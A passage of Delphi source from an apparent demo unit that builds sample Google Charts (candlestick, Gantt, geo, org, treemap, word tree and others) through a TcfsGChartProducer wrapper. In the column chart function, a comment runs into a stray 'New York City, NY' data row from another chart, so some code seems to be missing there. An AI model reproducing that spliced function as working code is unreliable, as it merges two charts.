Result.Data.AddRow([ EncodeDate(2021, M, 17), 38229 ]);
Result.Data.AddRow([ EncodeDate(2021, M, 18), 38177 ]);
end;
// Options
Result.Options.Title('Calendar');
end;
function GetCandlestickChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_CANDLESTICK_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Month'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '')
]);
Result.Data.AddRow(['Mon', 20, 28, 38, 45]);
Result.Data.AddRow(['Tue', 31, 38, 55, 66]);
Result.Data.AddRow(['Wed', 50, 55, 77, 80]);
Result.Data.AddRow(['Thu', 77, 77, 66, 50]);
Result.Data.AddRow(['Fri', 68, 66, 22, 15]);
// Options
Result.Options.Legend('position', 'none');
end;
function GetColumnChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_COLUMN_CHART;
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Element'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Density'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, '', TcfsGChartDataCol.ROLE_STYLE)
]);
Result.Data.AddRow(['Copper', 8.94, '#b87333']); // RGB value
Result.Data.AddRow(['Silver', 10.49, 'silver']); // English color name
Result.Data.AddRow(['Gold', 19.30, 'gold']);
Result.Data.AddRow(['Platinum', 21.45, 'color: #e5e4e2' ]); // CSS-style declaration Result.Data.AddRow(['New York City, NY', 8175000, 8008000]);
Result.Options.Legend('position', 'none');
Result.Options.Bar('groupWidth', '90%');
end;
function GetComboChart: IcfsGChartProducer;
var
Series: TArray<string>;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_COMBO_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Month'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Bolivia'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Ecuador'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Madagascar'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Papua New Guinea'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Rwanda'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Average')
]);
Result.Data.AddRow(['2004/05', 165, 938, 522, 998, 450, 614.6]);
Result.Data.AddRow(['2005/06', 135, 1120, 599, 1268, 288, 682]);
Result.Data.AddRow(['2006/07', 157, 1167, 587, 807, 397, 623]);
Result.Data.AddRow(['2007/08', 139, 1110, 615, 968, 215, 609.4]);
Result.Data.AddRow(['2008/09', 136, 691, 629, 1026, 366, 569.6]);
// Options
Result.Options.ChartArea('width', '50%');
Result.Options.SeriesType('bars');
SetLength(Series, 6);
Series[5] := 'type: ''line''';
Result.Options.Series(Series);
end;
function GetGanttChart: IcfsGChartProducer;
function DaysToMilliseconds(Days: Integer): Integer;
begin
Result := Days * 24 * 60 * 60 * 1000;
end;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_GANTT_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Task ID'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Task Name'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Resource'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtDate, 'Start'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtDate, 'End'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Duration'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Percent Complete'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Dependencies')
]);
Result.Data.AddRow(['Research', 'Find sources', null, EncodeDate(2015, 1, 1), EncodeDate(2015, 1, 5), null, 100, null]);
Result.Data.AddRow(['Write', 'Write paper', 'write', null, EncodeDate(2015, 1, 9), daysToMilliseconds(3), 25, 'Research,Outline']);
Result.Data.AddRow(['Cite', 'Create bibliography', 'write', null, EncodeDate(2015, 1, 7), daysToMilliseconds(1), 20, 'Research']);
Result.Data.AddRow(['Complete', 'Hand in paper', 'complete', null, EncodeDate(2015, 1, 10), daysToMilliseconds(1), 0, 'Cite,Write']);
Result.Data.AddRow(['Outline', 'Outline paper', 'write', null, EncodeDate(2015, 1, 6), daysToMilliseconds(1), 100, 'Research']);
// Options
Result.Options.Gantt('criticalPathEnabled', true);
Result.Options.Gantt('criticalPathStyle', '{stroke: ''#e64a19'', strokeWidth: 5}');
end;
function GetDiffChart: IcfsGChartProducer;
var
OldData: IcfsGChartData;
NewData: IcfsGChartData;
begin
// Old Data
OldData := TcfsGChartData.Create;
OldData.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Major'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Degrees')
]);
OldData.AddRow(['Business', 256070]);
OldData.AddRow(['Education', 108034]);
OldData.AddRow(['Social Sciences & History', 127101]);
OldData.AddRow(['Health', 81863]);
OldData.AddRow(['Psychology', 74194]);
// New Data
NewData := TcfsGChartData.Create;
NewData.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Major'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Degrees')
]);
NewData.AddRow(['Business', 358293]);
NewData.AddRow(['Education', 101265]);
NewData.AddRow(['Social Sciences & History', 172780]);
NewData.AddRow(['Health', 129634]);
NewData.AddRow(['Psychology', 97216]);
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_PIE_CHART;
Result.OldData.Assign(OldData);
Result.Data.Assign(NewData);
Result.Options.PieSliceText('none');
Result.Options.Diff('innerCircle', '{ borderFactor: 0.08 }');
end;
function GetPieChart3D: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_PIE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Tasks'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Hours per Day')
]);
Result.Data.AddRow(['Work', 11]);
Result.Data.AddRow(['Eat', 2]);
Result.Data.AddRow(['Commute', 2]);
Result.Data.AddRow(['Watch TV', 2]);
Result.Data.AddRow(['Sleep', 7]);
// Options
Result.Options.Is3D(True);
end;
function GetGeoChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_GEO_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Country'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Latitude')
]);
Result.Data.AddRow(['Algeria', 36]);
Result.Data.AddRow(['Angola', -8]);
Result.Data.AddRow(['Benin', 6]);
Result.Data.AddRow(['Botswana', -24]);
Result.Data.AddRow(['Burkina Faso', 12]);
Result.Data.AddRow(['Burundi', -3]);
Result.Data.AddRow(['Cameroon', 3]);
Result.Data.AddRow(['Canary Islands', 28]);
Result.Data.AddRow(['Cape Verde', 15]);
Result.Data.AddRow(['Central African Republic', 4]);
Result.Data.AddRow(['Ceuta', 35]);
Result.Data.AddRow(['Chad', 12]);
Result.Data.AddRow(['Comoros', -12]);
Result.Data.AddRow(['Cote d''Ivoire', 6]);
Result.Data.AddRow(['Democratic Republic of the Congo', -3]);
Result.Data.AddRow(['Djibouti', 12]);
Result.Data.AddRow(['Egypt', 26]);
Result.Data.AddRow(['Equatorial Guinea', 3]);
Result.Data.AddRow(['Eritrea', 15]);
Result.Data.AddRow(['Ethiopia', 9]);
Result.Data.AddRow(['Gabon', 0]);
Result.Data.AddRow(['Gambia', 13]);
Result.Data.AddRow(['Ghana', 5]);
Result.Data.AddRow(['Guinea', 10]);
Result.Data.AddRow(['Guinea-Bissau', 12]);
Result.Data.AddRow(['Kenya', -1]);
Result.Data.AddRow(['Lesotho', -29]);
Result.Data.AddRow(['Liberia', 6]);
Result.Data.AddRow(['Libya', 32]);
Result.Data.AddRow(['Madagascar', null]);
Result.Data.AddRow(['Madeira', 33]);
Result.Data.AddRow(['Malawi', -14]);
Result.Data.AddRow(['Mali', 12]);
Result.Data.AddRow(['Mauritania', 18]);
Result.Data.AddRow(['Mauritius', -20]);
Result.Data.AddRow(['Mayotte', -13]);
Result.Data.AddRow(['Melilla', 35]);
Result.Data.AddRow(['Morocco', 32]);
Result.Data.AddRow(['Mozambique', -25]);
Result.Data.AddRow(['Namibia', -22]);
Result.Data.AddRow(['Niger', 14]);
Result.Data.AddRow(['Nigeria', 8]);
Result.Data.AddRow(['Republic of the Congo', -1]);
Result.Data.AddRow(['Réunion', -21]);
Result.Data.AddRow(['Rwanda', -2]);
Result.Data.AddRow(['Saint Helena', -16]);
Result.Data.AddRow(['São Tomé and Principe', 0]);
Result.Data.AddRow(['Senegal', 15]);
Result.Data.AddRow(['Seychelles', -5]);
Result.Data.AddRow(['Sierra Leone', 8]);
Result.Data.AddRow(['Somalia', 2]);
Result.Data.AddRow(['Sudan', 15]);
Result.Data.AddRow(['South Africa', -30]);
Result.Data.AddRow(['South Sudan', 5]);
Result.Data.AddRow(['Swaziland', -26]);
Result.Data.AddRow(['Tanzania', -6]);
Result.Data.AddRow(['Togo', 6]);
Result.Data.AddRow(['Tunisia', 34]);
Result.Data.AddRow(['Uganda', 1]);
Result.Data.AddRow(['Western Sahara', 25]);
Result.Data.AddRow(['Zambia', -15]);
Result.Data.AddRow(['Zimbabwe', -18]);
// Options
Result.Options.Region('002'); // Africa
Result.Options.ColorAxis('colors', '[''#00853f'', ''black'', ''#e31b23'']');
Result.Options.BackgroundColor('#81d4fa');
Result.Options.DefaultColor('#f5f5f5');
Result.Options.DatalessRegionColor('#f8bbd0');
end;
function GetTimelineChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_TIMELINE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Room'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Name'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtDateTime, 'Start'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtDateTime, 'End')
]);
Result.Data.AddRow([ 'Magnolia Room', 'Beginning JavaScript', EncodeTime(12,0,0,0), EncodeTime(13,30,0,0) ]);
Result.Data.AddRow([ 'Magnolia Room', 'Intermediate JavaScript', EncodeTime(14,0,0,0), EncodeTime(15,30,0,0) ]);
Result.Data.AddRow([ 'Magnolia Room', 'Advanced JavaScript', EncodeTime(16,0,0,0), EncodeTime(17,30,0,0) ]);
Result.Data.AddRow([ 'Willow Room', 'Beginning Google Charts', EncodeTime(12,30,0,0), EncodeTime(14,0,0,0) ]);
Result.Data.AddRow([ 'Willow Room', 'Intermediate Google Charts', EncodeTime(14,30,0,0), EncodeTime(16,0,0,0) ]);
Result.Data.AddRow([ 'Willow Room', 'Advanced Google Charts', EncodeTime(16,30,0,0), EncodeTime(18,0,0,0) ]);
// Options
Result.Options.Timeline('colorByRowLabel', True);
end;
function GetIntervalsChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_LINE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'x'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'values'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i0'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i1'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i2'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i2'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i2'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '', TcfsGChartDataCol.ROLE_INTERVAL, 'i2')
]);
Result.Data.AddRow([1, 100, 90, 110, 85, 96, 104, 120]);
Result.Data.AddRow([2, 120, 95, 130, 90, 113, 124, 140]);
Result.Data.AddRow([3, 130, 105, 140, 100, 117, 133, 139]);
Result.Data.AddRow([4, 90, 85, 95, 85, 88, 92, 95]);
Result.Data.AddRow([5, 70, 74, 63, 67, 69, 70, 72]);
Result.Data.AddRow([6, 30, 39, 22, 21, 28, 34, 40]);
Result.Data.AddRow([7, 80, 77, 83, 70, 77, 85, 90]);
Result.Data.AddRow([8, 100, 90, 110, 85, 95, 102, 110]);
// Options
Result.Options.CurveType('function');
Result.Options.LineWidth(4);
Result.Options.Intervals('style', 'line');
Result.Options.Legend('position', 'none');
end;
function GetOrgChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_ORG_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Name'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Manager'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'ToolTip')
]);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Mike', 'Mike<div style="color:red; font-style:italic">President</div>');
Result.Data.SetValue(1, '');
Result.Data.SetValue(2, 'The President');
Result.Data.AddRow;
Result.Data.SetValue(0, 'Jim', 'Jim<div style="color:red; font-style:italic">Vice President</div>');
Result.Data.SetValue(1, 'Mike');
Result.Data.SetValue(2, 'VP');
Result.Data.AddRow;
Result.Data.SetValue(0, 'Alice');
Result.Data.SetValue(1, 'Mike');
Result.Data.SetValue(2, '');
Result.Data.AddRow;
Result.Data.SetValue(0, 'Bob');
Result.Data.SetValue(1, 'Jim');
Result.Data.SetValue(2, 'Bob Sponge');
Result.Data.AddRow;
Result.Data.SetValue(0, 'Carol');
Result.Data.SetValue(1, 'Bob');
Result.Data.SetValue(2, '');
Result.Options.AllowHtml(True);
end;
function GetMaterialLineChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_MATERIAL_LINE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Day'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Guardians of the Galaxy'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'The Avengers'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Transformers: Age of Extinction')
]);
Result.Data.AddRow([1, 37.8, 80.8, 41.8]);
Result.Data.AddRow([2, 30.9, 69.5, 32.4]);
Result.Data.AddRow([3, 25.4, 57, 25.7]);
Result.Data.AddRow([4, 11.7, 18.8, 10.5]);
Result.Data.AddRow([5, 11.9, 17.6, 10.4]);
Result.Data.AddRow([6, 8.8, 13.6, 7.7]);
Result.Data.AddRow([7, 7.6, 12.3, 9.6]);
Result.Data.AddRow([8, 12.3, 29.2, 10.6]);
Result.Data.AddRow([9, 16.9, 42.9, 14.8]);
Result.Data.AddRow([10, 12.8, 30.9, 11.6]);
Result.Data.AddRow([11, 5.3, 7.9, 4.7]);
Result.Data.AddRow([12, 6.6, 8.4, 5.2]);
Result.Data.AddRow([13, 4.8, 6.3, 3.6]);
Result.Data.AddRow([14, 4.2, 6.2, 3.4]);
// Options
//Result.Options.Title('Box Office Earnings in First Two Weeks of Opening');
//Result.Options.Subtitle('in millions of dollars (USD)');
end;
function GetLineChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_LINE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'X'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Dogs'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Cats')
]);
Result.Data.AddRow([0, 0, 0]);
Result.Data.AddRow([1, 10, 5]);
Result.Data.AddRow([2, 23, 15]);
Result.Data.AddRow([3, 17, 9]);
Result.Data.AddRow([4, 18, 10]);
Result.Data.AddRow([5, 9, 5]);
Result.Data.AddRow([6, 11, 3]);
Result.Data.AddRow([7, 27, 19]);
Result.Data.AddRow([8, 33, 25]);
Result.Data.AddRow([9, 40, 32]);
Result.Data.AddRow([10, 32, 24]);
Result.Data.AddRow([11, 35, 27]);
Result.Data.AddRow([12, 30, 22]);
Result.Data.AddRow([13, 40, 32]);
Result.Data.AddRow([14, 42, 34]);
Result.Data.AddRow([15, 47, 39]);
Result.Data.AddRow([16, 44, 36]);
Result.Data.AddRow([17, 48, 40]);
Result.Data.AddRow([18, 52, 44]);
Result.Data.AddRow([19, 54, 46]);
Result.Data.AddRow([20, 42, 34]);
Result.Data.AddRow([21, 55, 47]);
Result.Data.AddRow([22, 56, 48]);
Result.Data.AddRow([23, 57, 49]);
Result.Data.AddRow([24, 60, 52]);
Result.Data.AddRow([25, 50, 42]);
Result.Data.AddRow([26, 52, 44]);
Result.Data.AddRow([27, 51, 43]);
Result.Data.AddRow([28, 49, 41]);
Result.Data.AddRow([29, 53, 45]);
Result.Data.AddRow([30, 55, 47]);
Result.Data.AddRow([31, 60, 52]);
Result.Data.AddRow([32, 61, 53]);
Result.Data.AddRow([33, 59, 51]);
Result.Data.AddRow([34, 62, 54]);
Result.Data.AddRow([35, 65, 57]);
Result.Data.AddRow([36, 62, 54]);
Result.Data.AddRow([37, 58, 50]);
Result.Data.AddRow([38, 55, 47]);
Result.Data.AddRow([39, 61, 53]);
Result.Data.AddRow([40, 64, 56]);
Result.Data.AddRow([41, 65, 57]);
Result.Data.AddRow([42, 63, 55]);
Result.Data.AddRow([43, 66, 58]);
Result.Data.AddRow([44, 67, 59]);
Result.Data.AddRow([45, 69, 61]);
Result.Data.AddRow([46, 69, 61]);
Result.Data.AddRow([47, 70, 62]);
Result.Data.AddRow([48, 72, 64]);
Result.Data.AddRow([49, 68, 60]);
Result.Data.AddRow([50, 66, 58]);
Result.Data.AddRow([51, 65, 57]);
Result.Data.AddRow([52, 67, 59]);
Result.Data.AddRow([53, 70, 62]);
Result.Data.AddRow([54, 71, 63]);
Result.Data.AddRow([55, 72, 64]);
Result.Data.AddRow([56, 73, 65]);
Result.Data.AddRow([57, 75, 67]);
Result.Data.AddRow([58, 70, 62]);
Result.Data.AddRow([59, 68, 60]);
Result.Data.AddRow([60, 64, 56]);
Result.Data.AddRow([61, 60, 52]);
Result.Data.AddRow([62, 65, 57]);
Result.Data.AddRow([63, 67, 59]);
Result.Data.AddRow([64, 68, 60]);
Result.Data.AddRow([65, 69, 61]);
Result.Data.AddRow([66, 70, 62]);
Result.Data.AddRow([67, 72, 64]);
Result.Data.AddRow([68, 75, 67]);
Result.Data.AddRow([69, 80, 72]);
Result.Options.TrendLines(['type: ''exponential'', color: ''#333'', opacity: 1', 'type: ''linear'', color: ''#111'', opacity: .3']);
end;
function GetSankeyDiagram: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_SANKEY_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'From'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'To'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Weight')
]);
Result.Data.AddRow([ 'A', 'X', 5 ]);
Result.Data.AddRow([ 'A', 'Y', 7 ]);
Result.Data.AddRow([ 'A', 'Z', 6 ]);
Result.Data.AddRow([ 'B', 'X', 2 ]);
Result.Data.AddRow([ 'B', 'Y', 9 ]);
Result.Data.AddRow([ 'B', 'Z', 4 ]);
end;
function GetChartBarFormat: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_TABLE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Department'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Revenues')
]);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Shoes');
Result.Data.SetValue(1, 10700);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Sports');
Result.Data.SetValue(1, -15400);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Toys');
Result.Data.SetValue(1, 12500);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Electronics');
Result.Data.SetValue(1, -2100);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Food');
Result.Data.SetValue(1, 22600);
Result.Data.AddRow;
Result.Data.SetValue(0, 'Art');
Result.Data.SetValue(1, 1100);
// Options
Result.Options.AllowHtml(True);
//Result.Options.SetAsBoolean('showRowNumber', True);
//Result.Options.Width(350);
// Formatter
Result.ScripCodeBeforeCallDraw :=
'var formatter = new google.visualization.BarFormat({width: 120});'
+ 'formatter.format(data, 1);'
;
end;
function GetWaterfallChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_CANDLESTICK_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Month'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '')
]);
Result.Data.AddRow(['Mon', 28, 28, 38, 38]);
Result.Data.AddRow(['Tue', 38, 38, 55, 55]);
Result.Data.AddRow(['Wed', 55, 55, 77, 77]);
Result.Data.AddRow(['Thu', 77, 77, 66, 66]);
Result.Data.AddRow(['Fri', 66, 66, 22, 22]);
// Options
Result.Options.Legend('position', 'none');
Result.Options.Bar('groupWidth', '100%');
Result.Options.Candlestick('fallingColor', '{ strokeWidth: 0, fill: ''#a52714'' }'); // red
Result.Options.Candlestick('risingColor', '{ strokeWidth: 0, fill: ''#0f9d58'' }'); // green
end;
function GetTreeMapChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_TREE_MAP_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Location'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Parent'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Market trade volume (size)'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Market increase/decrease (color)')
]);
Result.Data.AddRow(['Global', null, 0, 0]);
Result.Data.AddRow(['America', 'Global', 0, 0]);
Result.Data.AddRow(['Europe', 'Global', 0, 0]);
Result.Data.AddRow(['Asia', 'Global', 0, 0]);
Result.Data.AddRow(['Australia', 'Global', 0, 0]);
Result.Data.AddRow(['Africa', 'Global', 0, 0]);
Result.Data.AddRow(['Brazil', 'America', 11, 10]);
Result.Data.AddRow(['USA', 'America', 52, 31]);
Result.Data.AddRow(['Mexico', 'America', 24, 12]);
Result.Data.AddRow(['Canada', 'America', 16, -23]);
Result.Data.AddRow(['France', 'Europe', 42, -11]);
Result.Data.AddRow(['Germany', 'Europe', 31, -2]);
Result.Data.AddRow(['Sweden', 'Europe', 22, -13]);
Result.Data.AddRow(['Italy', 'Europe', 17, 4]);
Result.Data.AddRow(['UK', 'Europe', 21, -5]);
Result.Data.AddRow(['China', 'Asia', 36, 4]);
Result.Data.AddRow(['Japan', 'Asia', 20, -12]);
Result.Data.AddRow(['India', 'Asia', 40, 63]);
Result.Data.AddRow(['Laos', 'Asia', 4, 34]);
Result.Data.AddRow(['Mongolia', 'Asia', 1, -5]);
Result.Data.AddRow(['Israel', 'Asia', 12, 24]);
Result.Data.AddRow(['Iran', 'Asia', 18, 13]);
Result.Data.AddRow(['Pakistan', 'Asia', 11, -52]);
Result.Data.AddRow(['Egypt', 'Africa', 21, 0]);
Result.Data.AddRow(['S. Africa', 'Africa', 30, 43]);
Result.Data.AddRow(['Sudan', 'Africa', 12, 2]);
Result.Data.AddRow(['Congo', 'Africa', 10, 12]);
Result.Data.AddRow(['Zaire', 'Africa', 8, 10]);
// Options
Result.Options.SetAsQuotedStr('minColor', '#f00');
Result.Options.SetAsQuotedStr('midColor', '#ddd');
Result.Options.SetAsQuotedStr('maxColor', '#0d0');
Result.Options.SetAsInteger('headerHeight', 15);
Result.Options.SetAsQuotedStr('fontColor', 'black');
Result.Options.SetAsBoolean('showScale', True);
Result.Options.SetAsUnQuotedStr('generateTooltip', 'showFullTooltip');
Result.ScripCodeAfterCallDraw :=
'function showFullTooltip(row, size, value) {'
+ 'return ''<div style="background:#fd9; padding:10px; border-style:solid">'
+ '<span style="font-family:Courier"><b>'' + data.getValue(row, 0) +'
+ '''</b>, '' + data.getValue(row, 1) + '', '' + data.getValue(row, 2)'
+ '}'
;
end;
function GetMaterialScatterChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_MATERIAL_SCATTER_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '')
]);
Result.Data.AddRow([0, 67]);
Result.Data.AddRow([1, 88]);
Result.Data.AddRow([2, 77]);
Result.Data.AddRow([3, 93]);
Result.Data.AddRow([4, 85]);
Result.Data.AddRow([5, 91]);
Result.Data.AddRow([6, 71]);
Result.Data.AddRow([7, 78]);
Result.Data.AddRow([8, 93]);
Result.Data.AddRow([9, 80]);
Result.Data.AddRow([10, 82]);
Result.Data.AddRow([0, 75]);
Result.Data.AddRow([5, 80]);
Result.Data.AddRow([3, 90]);
Result.Data.AddRow([1, 72]);
Result.Data.AddRow([5, 75]);
Result.Data.AddRow([6, 68]);
Result.Data.AddRow([7, 98]);
Result.Data.AddRow([3, 82]);
Result.Data.AddRow([9, 94]);
Result.Data.AddRow([2, 79]);
Result.Data.AddRow([2, 95]);
Result.Data.AddRow([2, 86]);
Result.Data.AddRow([3, 67]);
Result.Data.AddRow([4, 60]);
Result.Data.AddRow([2, 80]);
Result.Data.AddRow([6, 92]);
Result.Data.AddRow([2, 81]);
Result.Data.AddRow([8, 79]);
Result.Data.AddRow([9, 83]);
Result.Data.AddRow([3, 75]);
Result.Data.AddRow([1, 80]);
Result.Data.AddRow([3, 71]);
Result.Data.AddRow([3, 89]);
Result.Data.AddRow([4, 92]);
Result.Data.AddRow([5, 85]);
Result.Data.AddRow([6, 92]);
Result.Data.AddRow([7, 78]);
Result.Data.AddRow([6, 95]);
Result.Data.AddRow([3, 81]);
Result.Data.AddRow([0, 64]);
Result.Data.AddRow([4, 85]);
Result.Data.AddRow([2, 83]);
Result.Data.AddRow([3, 96]);
Result.Data.AddRow([4, 77]);
Result.Data.AddRow([5, 89]);
Result.Data.AddRow([4, 89]);
Result.Data.AddRow([7, 84]);
Result.Data.AddRow([4, 92]);
Result.Data.AddRow([9, 98]);
Result.Options.Legend('position', 'none');
end;
function GetWordTreesChart: IcfsGChartProducer;
begin
Result := TcfsGChartProducer.Create;
Result.ClassChartType := TcfsGChartProducer.CLASS_WORD_TREE_CHART;
// Data
Result.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Phrases')
]);
Result.Data.AddRow(['cats are better than dogs']);
Result.Data.AddRow(['cats eat kibble']);
Result.Data.AddRow(['cats are better than hamsters']);
Result.Data.AddRow(['cats are awesome']);
Result.Data.AddRow(['cats are people too']);
Result.Data.AddRow(['cats eat mice']);
Result.Data.AddRow(['cats meowing']);
Result.Data.AddRow(['cats in the cradle']);
Result.Data.AddRow(['cats eat mice']);
Result.Data.AddRow(['cats in the cradle lyrics']);
Result.Data.AddRow(['cats eat kibble']);
Result.Data.AddRow(['cats for adoption']);
Result.Data.AddRow(['cats are family']);
Result.Data.AddRow(['cats eat mice']);
Result.Data.AddRow(['cats are better than kittens']);
Result.Data.AddRow(['cats are evil']);
Result.Data.AddRow(['cats are weird']);
Result.Data.AddRow(['cats eat mice']);
// Options
Result.Options.SetAsObject('wordtree', 'format', '''implicit''');
Result.Options.SetAsObject('wordtree', 'word', '''cats''');
end;
procedure TDemo_Overview.GenerateChart;
begin
// Generate
GChartsFrame.DocumentInit;
GChartsFrame.DocumentSetBody(
'<div style="display: flex; width: 100%; height: 200px;">'
+ '<div id="ColumnChart" style="width: 33%"></div>'
+ '<div id="AreaChart" style="width: 33%"></div>'
